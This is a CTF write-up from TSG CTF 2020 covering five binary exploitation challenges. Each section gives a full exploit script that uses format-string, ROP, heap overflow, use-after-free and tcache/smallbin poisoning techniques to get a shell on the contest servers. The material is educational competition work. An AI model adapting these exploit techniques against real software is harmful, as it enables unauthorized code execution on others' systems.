TSG CTF 2020 Writeup

2020-07-12 18:04:42 Author: ptr-yudai.hatenablog.com
觉得文章还不错?,点我收藏



TSG CTF 2020 had been held from July 11th 07:00 UTC for 24 hours. I played it in DefenitelyZer0, a collabolation team of Defenit and zer0pts, and reached 2nd place.

f:id:ptr-yudai:20200712162733p:plain

I was one of the pwn members and we solved all the pwn tasks. I got 5 out of 6 flags with the help of other members.

Here's the tasks and solvers for some tasks:

bitbucket.org

[Pwn 147pts] Beginner's Pwn (42 solves)

We're given an x86-64 ELF.

$ checksec -f beginners_pwn
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable  FILE
Partial RELRO   Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   64 Symbols     Yes      0               0       beginners_pwn

The program is quite simple.

f:id:ptr-yudai:20200712163604p:plain

readn uses syscall instead of read function. We can put 0x18 bytes onto stack and it's passed as the first argument of scanf, which causes FSB. My idea is use %s to cause stack overflow. Since SSP is enabled, my exploit overwrites the GOT of __stack_chk_fail with a ret gadget.

# overwrite canary
payload  = b"%7$s%s\0\0"
payload += p64(elf.got('__stack_chk_fail'))
payload += p64(0xdeadbeef)
sock.send(payload)
sock.sendline(p64(rop_ret)[:-1])

Now we can simply send ROP chain. The problem is that the binary doesn't have output functions such as puts or printf. We don't know of the libc version but there's a syscall instruction in readn function. Our goal is to use this syscall with rax set to SYS_execve, rdi pointed to "/bin/sh", rdx and rsi set to NULL.

It's easy to prepare "/bin/sh." Also, we can set rdx and rsi to NULL by ret2csu. The only obstacle is rax. There's no gadget to set rax.

# rop
addr_binsh = elf.section(".bss") + 0x80
addr_fmt = elf.section(".bss") + 0x800

payload = b'\0'
payload += p64(0xdeadbeefcafebabe) # canary
payload += p64(0xdeadbeef)
payload += p64(rop_pop_rdi)
payload += p64(addr_binsh)
payload += p64(rop_pop_rsi_r15)
payload += p64(0x11)
payload += p64(0)
payload += p64(elf.symbol("readn")) # ret
###
### set rax = 59 here
###
payload += p64(csu_popper)
payload += flat([
    0, 1, addr_binsh, 0, 0, addr_binsh + 8
], map=p64)
payload += p64(csu_caller)
sock.sendline(payload)
time.sleep(1)
sock.sendline(b"/bin/sh\0" + p64(rop_syscall))

I used scanf to overcome this. As scanf returns the number of read units, we can simply call scanf("%c%c%c%c......") and send 59 characters.

This is my final solution:

from ptrlib import *
import time

"""
#libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
elf = ELF("./beginners_pwn")
sock = Process("./beginners_pwn")
"""
#libc = ELF("./libc-2.27.so")
elf = ELF("./beginners_pwn")
sock = Socket("35.221.81.216", 30002)
#"""

rop_ret = 0x004012c4
rop_pop_rdi = 0x004012c3
rop_pop_rsi_r15 = 0x004012c1
rop_syscall = 0x40118f
csu_popper = 0x4012ba
csu_caller = 0x4012a0

# overwrite canary
payload  = b"%7$s%s\0\0"
payload += p64(elf.got('__stack_chk_fail'))
payload += p64(0xdeadbeef)
sock.send(payload)
sock.sendline(p64(rop_ret)[:-1])

# rop
addr_binsh = elf.section(".bss") + 0x80
addr_fmt = elf.section(".bss") + 0x800

payload = b'\0'
payload += p64(0xdeadbeefcafebabe) # canary
payload += p64(0xdeadbeef)

payload += p64(rop_pop_rdi)
payload += p64(addr_binsh)
payload += p64(rop_pop_rsi_r15)
payload += p64(0x11)
payload += p64(0)
payload += p64(elf.symbol("readn")) # ret

payload += p64(rop_pop_rdi)
payload += p64(addr_fmt)
payload += p64(rop_pop_rsi_r15)
payload += p64(0x401)
payload += p64(0)
payload += p64(elf.symbol("readn")) # ret

payload += p64(rop_pop_rdi)
payload += p64(addr_fmt)
payload += p64(rop_pop_rsi_r15)
payload += p64(addr_fmt)
payload += p64(0)
payload += p64(elf.plt("__isoc99_scanf"))

payload += p64(csu_popper)
payload += flat([
    0, 1, addr_binsh, 0, 0, addr_binsh + 8
], map=p64)
payload += p64(csu_caller)
payload += p64(0xffffffffdeadbeef)
assert not has_space(payload)
sock.sendline(payload)
time.sleep(1)
sock.sendline(b"/bin/sh\0" + p64(rop_syscall))
sock.sendline(b"%1$c" * 59)
sock.send("A" * 59) # now rax=59

sock.interactive()

First blood!

[Pwn 240pts] Detective (14 solves)

$ checksec -f ./detective
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable  FILE
Full RELRO      Canary found      NX enabled    PIE enabled     No RPATH   No RUNPATH   92 Symbols     Yes      0               4       ./detective

We need to prepare a file named flag. The flag must start with TSGCTF{, end with }, and between them must consist of hex characters.

The program first asks which offset of the flag to load into memory. (It copied only one byte of the flag.)

$ ./detective 
index > 0
---------------
0: alloc
1: dealloc
2: read
---------------
>

And we can use read to copy the byte into an allocated chunk. Racrua had already found that it doesn't check the boundary of the offset, which causes OOB write over heap. However, what we can write is one byte of the flag string.

I immediately realized I could use error based attack to leak the flag byte by byte. The idea is to overwrite the most least byte of fd of a freed chunk and corrupt the fastbin link. I prepared a fake chunk in advance so that it won't crash ONLY WHEN the flag character matches the guess character.

It's better to paste the exploit rather than explain it.

from ptrlib import *

def alloc(index, size, data):
    sock.sendlineafter("> ", "0")
    sock.sendlineafter("> ", str(index))
    sock.sendlineafter("> ", str(size))
    r = sock.recv()
    sock.sendline(data)
    if b'data' in r:
        return True
    else:
        return False
def dealloc(index):
    sock.sendlineafter("> ", "1")
    sock.sendlineafter("> ", str(index))
def read(index, offset):
    sock.sendlineafter("> ", "2")
    sock.sendlineafter("> ", str(index))
    sock.sendlineafter("> ", str(offset))

logger.level = 0
#flag = "67f7d58ac9301f273d16aec9829847b0"
flag = ""
for pos in range(7 + 2, 40):
    for guess in range(0, 0x10):
        #sock = Process("./detective")
        #sock = Socket("localhost", 9999)
        sock = Socket("35.221.81.216", 30001)
        sock.sendlineafter("> ", str(pos))
        print(pos, guess)

        # evict tcache
        #alloc(0, 0x48, "align") # for libc-2.27
        #dealloc(0)
        for i in range(7):
            alloc(0, 0x78, "A")
            dealloc(0)
        for i in range(7):
            alloc(0, 0x18, "A")
            dealloc(0)

        # push 0x20 to fastbin
        alloc(0, 0x18, "A")
        dealloc(0)

        if guess < 10:
            payload = b'A' * (0x18 + guess) + p64(0x81)
        else:
            payload = b'A' * (0x18 + 0x31 + guess - 10) + p64(0x81)
        alloc(0, 0x78, payload)
        alloc(1, 0x78, "B")
        dealloc(0)
        dealloc(1)
        alloc(0, 0x18, "evil")
        read(0, 0xa0)
        dealloc(0)

        alloc(0, 0x78, "A")
        if alloc(1, 0x78, "B"):
            flag += hex(guess)[2:]
            print("Found: " + hex(guess)[2:])
            print(flag)
            break

        sock.close()
    else:
        print("Bad luck!")
        exit(1)

First blood!

[Pwn 248pts] Violence Fixer (13 solves)

This program is a self-made heap manager.

$ checksec -f violence-fixer
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable  FILE
Full RELRO      Canary found      NX enabled    PIE enabled     No RPATH   No RUNPATH   95 Symbols     Yes      0               4       violence-fixer

It relies on libc malloc but tries to manage the heap by it's own way, which obviously causes many problems. For example, a freed small chunk will be linked into tcache but the manager subtracts top and overlap occurs. Thus, it's quite easy to leak libc address. The manager usually allocated a chunk by it's own mechanism but we can use delegate to use the return value of malloc once. We can use this to pop a fake chunk like __free_hook.

from ptrlib import *

def alloc(size, data):
    sock.sendlineafter("> ", "1")
    sock.sendlineafter(": ", str(size))
    sock.sendafter(": ", data)
def show(index):
    sock.sendlineafter("> ", "2")
    sock.sendlineafter(": ", str(index))
    return sock.recvline()
def delete(index):
    sock.sendlineafter("> ", "3")
    sock.sendlineafter(": ", str(index))
#def assumption(index):
#    sock.sendlineafter("> ", "4")
#    return int(sock.recvregex("top = 0x([0-9a-f]+)")[0], 16)
def delegate(size, data):
    sock.sendlineafter("> ", "0")
    sock.sendlineafter("> ", "y")
    sock.sendlineafter(": ", str(size))
    sock.sendafter(": ", data)

libc = ELF("./libc.so.6")
#sock = Process("./violence-fixer")
#sock = Socket("localhost", 9999)
sock = Socket("35.221.81.216", 32112)

sock.sendlineafter(": ", "n")

# libc leak
for i in range(9):
    alloc(0xf8, "A")
for i in range(8, -1, -1):
    delete(i)
alloc(0x28, "\xa0") # 0
libc_base = u64(show(0)) - libc.main_arena() - 0x220
logger.info("libc = " + hex(libc_base))

alloc(0x1c8, "/bin/sh") # 1
# consume tcache
for i in range(7):
    alloc(0xf8, "ponta")

# reverse
for i in range(2, 2 + 6):
    delete(i)
# tcache poisoning
for i in range(4):
    alloc(0xf8, p64(libc_base + libc.symbol("__free_hook")))

delegate(0xf8, p64(libc_base + libc.symbol("system")))
delete(1)

sock.interactive()

3rd blood......

[Pwn 322pts] RACHELL (7 solves)

We're given a pseudo shell with a self-made RAM fs.

$ checksec -f rachell
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable  FILE
Full RELRO      Canary found      NX enabled    PIE enabled     No RPATH   No RUNPATH   107 Symbols     Yes     0               6       rachell

When I tried this challenge, @puel had already found the bug.

void sub_rm(struct node *target)
{
  if(target == &root){
    write(1,"not allowed\n",12);
    return;
  }
  if(target->p == cwd){
    switch(target->type){
      case FIL:
        if(target->buf != NULL)
          free(target->buf);
        unlink_child(target);
        break;
      case DIR:
        unlink_child(target);
        free(target);
        break;
      default:
        panic();
    }
  }else{
    switch(target->type){
      case FIL:
        if(target->buf != NULL)
          free(target->buf); // no unlink

        break;
      case DIR:
        unlink_child(target);
        free(target);
        break;
      default:
        panic();
    }
  }
}

This is an obvious UAF. Also, @c2w2m2 found a path where no ASCII check takes place.

void sub_pwd(struct node *d)
{
    if(d->p == &root){
        write(1,"/",1);
        print_name_with_check(d);
        return;
    }
    sub_pwd(d->p);
    write(1,"/",1);
    write(1,d->name,strlen(d->name));
}

So, I just caused UAF and overlapped a directory name with file content. By freeing the file, the directory name becomes heap address and it's printable through the path above.

With the same principle, I forged the address of directory name by UAF and leaked the libc address as well. As I have libc address and UAF, it's easy tcache poisoning.

from ptrlib import *

def run(cmd, arg1, arg2=None, arg3=None):
    #user, host = sock.recvregex("(.+)@(.+):/\\$")
    sock.sendlineafter("command> ", cmd)
    if arg1:
        sock.sendlineafter("> ", arg1)
    if arg2:
        sock.sendlineafter("> ", arg2)
    if arg3:
        sock.sendlineafter("> ", arg3)
    #return user, host

libc = ELF("./libc.so.6")
#sock = Process("./rachell")
sock = Socket("35.200.117.74", 25252)

run("touch", "CCCC")
run("echo", "C" * 0x428, "y", "CCCC")

run("touch", "XXXX")
run("touch", "YYYY")
run("touch", "ZZZZ")

run("touch", "AAAA")
run("echo", "A" * 0xa8, "y", "AAAA")

run("touch", "BBBB")
run("echo", "B" * 0x28, "y", "BBBB")

run("cd", "home")
run("rm", "../AAAA")
run("rm", "../AAAA") # maybe used later (UAF on 0000 node)
run("rm", "../BBBB")

run("mkdir", "0000") # 0000->name = BBBB->buf
run("cd", "0000")
run("rm", "../../BBBB")
run("rm", "../../BBBB") # write heap address to BBBB->buf

heap_base = u64(sock.recvregex("/home/(.+)\\$")[0]) - 0xe80
logger.info("heap = " + hex(heap_base))

run("rm", "../../CCCC")
payload = b''
payload += p64(1) # file
payload += p64(heap_base + 0x2a0) # parent is home (i don't have proc_base)
payload += p64(0) * 0x10 # no child
payload += p64(heap_base + 0x540) # name (= CCCC->buf = linked to unsortedbin)
payload += p64(0) # buf
payload += p64(0) # size
run("echo", payload, "y", "../../AAAA")

libc_base = u64(sock.recvregex("/home/(.+)\\$")[0]) - libc.main_arena() - 0x60
logger.info("libc = " + hex(libc_base))

run("rm", "../../AAAA")
payload  = p64(libc_base + libc.symbol('__free_hook'))
payload += p64(heap_base + 0x2a0) # parent is home
payload += p64(0) * 0x10 # no child
payload += p64(heap_base + 0x540) # name
payload += p64(0) # buf
payload += p64(0) # size
run("echo", payload, "y", "../../AAAA")
run("echo", payload, "y", "../../XXXX")

payload  = p64(libc_base + libc.symbol('system'))# + 0xa0)
payload += b'\x00' * 0xa0
run("echo", payload, "y", "../../YYYY")

run("echo", "/bin/sh\0", "y", "../../ZZZZ")
run("rm", "../../ZZZZ")

sock.interactive()

First blood!

[Pwn 341pts] Karte (5 solves)

Another heap challenge.

$ checksec -f karte
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable  FILE
Full RELRO      Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   91 Symbols     Yes      0               4       karte

It doesn't put NULL after freeing a chunk by realloc, which may cause double free. The program refers a chunk by searching for the karte id, which is located at offset 0x08 from the beginning of the buffer. At the beginning of the buffer keeps the size of the karte.

The program shows 5 options.

0: alloc
1: extend
2: change id
3: show
4: dealloc

However, it actually has 6th option in which it executes /bin/sh when a global variable authorized is not 0.

If we free a chunk and it goes to tcache, we can't cause double free because id is overwritten with tcache->key and we don't know the heap address yet. However, we can leak the heap address by putting it into fastbin as id is not overwritten.

Next, I put 2 chunks into unsorted bin and one of them has a heap address in is id. Thus we can refer the chunk and leak the libc address.

I spent lots of time after this. I knew the goal was to overwrite authorized. Of course I tried unsorted bin attack but I realized it's libc-2.31, which has a protection against this attack.

I really hate heap challenges and I don't know much about the heap-related attacks. I had been stuck here but @stan gave me a link about smallbin attack. In the smallbin attack, we link smallbin chunks into tcache by requesting a smallbin-sized chunk and the bk pointer of the last chunk must be forged. We have to make the corrupted chunk being linked at the last of the tcache entries so that it won't crash. So, I deallocated many chunks into smallbin.

from ptrlib import *

def alloc(id, size):
    sock.sendlineafter("> ", "0")
    sock.sendlineafter("> ", str(id))
    sock.sendlineafter("> ", str(size))
def extend(id, size):
    sock.sendlineafter("> ", "1")
    sock.sendlineafter("> ", str(id))
    sock.sendlineafter("> ", str(size))
def change_id(old, new):
    sock.sendlineafter("> ", "2")
    sock.sendlineafter("> ", str(old))
    sock.sendlineafter("> ", str(new))
def show(id):
    sock.sendlineafter("> ", "3")
    sock.sendlineafter("> ", str(id))
    id, size = sock.recvregex("id: (.+) size: (.+)")
    return int(id, 16), int(size, 16)
def dealloc(id):
    sock.sendlineafter("> ", "4")
    sock.sendlineafter("> ", str(id))

elf = ELF("karte")
libc = ELF("libc.so.6")
#sock = Socket("localhost", 9999)
sock = Socket("35.221.81.216", 30005)

name = b'Hello'
sock.sendlineafter("> ", name)

for i in range(9):
    alloc(i, 0x68)
    alloc(10 + i, 0x98)
for i in range(7, 0, -1):
    extend(i, 0x98)
dealloc(0)
dealloc(8)

heap_base = show(8)[1] - 0x290
logger.info("heap = " + hex(heap_base))

for i in range(7, 0, -1):
    dealloc(i)
dealloc(11)
dealloc(12)

libc_base = show(heap_base + 0x520)[1] - libc.main_arena() - 0x60
logger.info("libc = " + hex(libc_base))

for i in range(6):
    dealloc(13 + i)
alloc(23, 0xa0)
for i in range(7):
    alloc(20 + i, 0x98)
change_id(libc_base + libc.main_arena() + 240, elf.symbol("authorized") - 0x10)
alloc(98, 0x98)

sock.interactive()

Well... what was the name for? Anyway first blood!




觉得文章还不错?,点我收藏



如果文章侵犯到您的版权,请联系我:buaq.net[#]pm.me